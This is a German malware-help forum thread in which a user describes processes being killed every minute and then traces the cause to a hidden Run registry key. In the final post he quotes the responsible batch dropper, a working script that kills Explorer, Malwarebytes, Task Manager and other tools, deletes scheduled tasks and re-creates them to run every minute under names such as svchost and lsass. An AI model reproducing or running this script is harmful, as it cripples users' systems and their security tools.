Zurück   Trojaner-Board > Malware entfernen > Plagegeister aller Art und deren Bekämpfung
Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt

Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt


Plagegeister aller Art und deren Bekämpfung: Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt

Windows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen.

Antwort
Alt 19.07.2011, 21:07   #1
Spixi
 
Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt - Standard

Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt


Hallo, mindestens einmal die Minute ploppen bei mir mehrere Kommandozeilenfenster auf mit dem Titel C:\WINDOWS\System32\svchost.exe und dem Kommando Taskkill /f /IM *
Für * stehen dort jeweils andere Programme, z. B. cmd.exe, explorer.exe, taskmgr oder mbam.exe

command.com ließ sich zum Glück ausführen, habe direkt firefox.exe in firebird.exe und Malewarebytes mbam.exe in mbam1.exe umbenannt, so funktionieren sie wenigstens. GMER und Malewarebytes Scans folgen

Alt 19.07.2011, 21:32   #2
Spixi
 
Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt - Standard

Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt


Hier kommt der MBAM-Log
__________________
Alt 19.07.2011, 21:44   #3
Spixi
 
Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt - Standard

Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt


Und der Gmer-Log. Noch kein Ergebnis, HILFE!!!
__________________
Alt 19.07.2011, 21:53   #4
Spixi
 
Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt - Standard

Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt


Kann mir denn keiner helfen? Das mit den schwarzen Fenstern nervt, die kommen immer wieder und ich habe immer noch keine Taskleiste, keinen Desktop und muss immer mit Alt-Tab auf COMMAND.COM switchen, um ein Programm zu starten...

Alt 20.07.2011, 20:09   #5
Spixi
 
Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt - Standard

Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt


Ich habe das Problem gefunden!

Im HKLM/Software/Microsoft/Windows/CurrentVersion/Run/ hatte sich doch eiskalt ein Schlüssel mit dem Namen "Default" und dem Wert "0*(0x000000)***************************************************************************************************************************************** *********************************.bat", also statt "*" war dort ein Alt-255-Leerzeichen, eingeschlichen, habe nach dieser Datei gesucht, sie war in C:\Windows\system32 und zwar ein Batch-Script mit folgendem Inhalt, scheint ein sehr billiger Dropper gewesen zu sein, gelöscht, Gefahr erkannt, Gefahr gebannt!


Zitat:
@echo off
Echo Taskkill /f /IM Explorer.exe > PresentationFontCache.cmd
Echo Taskkill /f /IM Iexplore.exe > appwiz.cmd
Echo Taskkill /f /IM mbam.exe > command.cmd
Echo Taskkill /f /IM cmd.exe > rundll32.cmd
Echo Taskkill /f /IM firefox.exe > svchost.cmd
Echo Taskkill /f /IM taskmgr > lsass.cmd
Echo Taskkill /f /IM powershell.exe > win32.cmd
Echo Taskkill /f /IM regedit.exe > crss.cmd
Echo j | Schtasks /Delete *
For %%i in ( PresentationFontCache appwiz command rundll32 svchost win32 lsass crss ) Do More passwd.catched | Schtasks /Create /TR %%i.cmd /TN %%i /SC Minute /MO 1
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk
Echo.>%Temp%\%Random%.chk

Geändert von Spixi (20.07.2011 um 20:14 Uhr)

Antwort

Themen zu Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt
andere, ausführen, c:\windows, cmd.exe, direkt, explorer.exe, fenster, folge, folgen, funktionieren, gekillt, gmer, komma, kommandozeile, minute, programme, scans, stehe, svchost.exe, system, system32, taskmgr, titel, umbenannt, windows


« "Windows Crashes Deliverer" meldet verschiedene Virus-Warnungen | PishingMail PayPal »


Ähnliche Themen: Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt


  1. Windwos 7: Norton meldet sich ca. jede Minute mit "system infected: trojan.ransomlock.g"
    Plagegeister aller Art und deren Bekämpfung - 30.01.2015 (15)
  2. Windows 7 - weisses Popup blockiert jede Seite im Firefox (kann entfernt werden)
    Log-Analyse und Auswertung - 08.12.2013 (13)
  3. Avira meldet jede Minute die gleichen Trojaner (Sirefef, ATRAPS und ZAcces)
    Plagegeister aller Art und deren Bekämpfung - 09.07.2013 (17)
  4. Trojaner? Startseiten in Firefox und Explorer werden umgeleitet auf zzsearch.net und qv06
    Plagegeister aller Art und deren Bekämpfung - 30.06.2013 (1)
  5. GVU Virus eingefangen - Avira hat ihn "gekillt", trotzdem RUNDLL Fehler und Firefox tot
    Plagegeister aller Art und deren Bekämpfung - 11.08.2012 (28)
  6. UI0Detect.exe poppt jede Minute kurz auf
    Plagegeister aller Art und deren Bekämpfung - 02.07.2012 (1)
  7. TR/Matsnu.CRZY, TR/Small.Fi,TR/Crypt.Gypikon.B, TR/Atraps.Gen2 - Virenmeldung jede 2. Minute
    Plagegeister aller Art und deren Bekämpfung - 16.06.2012 (30)
  8. Jede Minute Popup: "winsynup.exe funktioniert nicht mehr"
    Plagegeister aller Art und deren Bekämpfung - 18.12.2011 (1)
  9. regelmäßig wiederkehrender Firefox Freeze für 1 Minute oder mehr
    Log-Analyse und Auswertung - 12.09.2011 (20)
  10. Firefox Googelt nicht mehr und IE Schliest jede Registrierkarte mit Google automatisch
    Log-Analyse und Auswertung - 05.07.2011 (15)
  11. Sie werden in kürze abgemeldet. Windows startet in 1 Minute neu...
    Log-Analyse und Auswertung - 28.10.2010 (17)
  12. Vista: Sie werden in kürze abgemeldet. Windows wird in weniger als 1 Minute heruntergefahren
    Log-Analyse und Auswertung - 09.10.2010 (8)
  13. PC friert jede Minute für 30 sec. ein ,evtl Virus auf Boot C
    Log-Analyse und Auswertung - 19.10.2009 (1)
  14. mbbb.exe macht jede Minute Screenshots
    Plagegeister aller Art und deren Bekämpfung - 05.06.2007 (4)
  15. Jede Seite im Explorer wird gehijackt
    Log-Analyse und Auswertung - 29.05.2007 (2)
  16. Jede Minute öffnet Firefox ne spamm seite
    Log-Analyse und Auswertung - 27.05.2006 (15)
  17. firefox öffnet erst nach 1 minute
    Log-Analyse und Auswertung - 23.12.2005 (2)
Anleitungen und Tipps

- Für alle Hilfesuchenden! Was beachten?

- Anleitung: MyStartSearch.com entfernen

- Anleitung: WebSearches löschen

- Hilfe: iStartSurf entfernen – so gehts!

- Anleitung: Omiga Plus richtig entfernen

- Browser Viren entfernen


Zum Thema Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt - Hallo, mindestens einmal die Minute ploppen bei mir mehrere Kommandozeilenfenster auf mit dem Titel C:\WINDOWS\System32\svchost.exe und dem Kommando Taskkill /f /IM * Für * stehen dort jeweils andere Programme, z. - Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt...
Archiv
Du betrachtest: Explorer.exe, Firefox.exe u. Ähn. werden jede Minute gekillt auf Trojaner-Board

Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19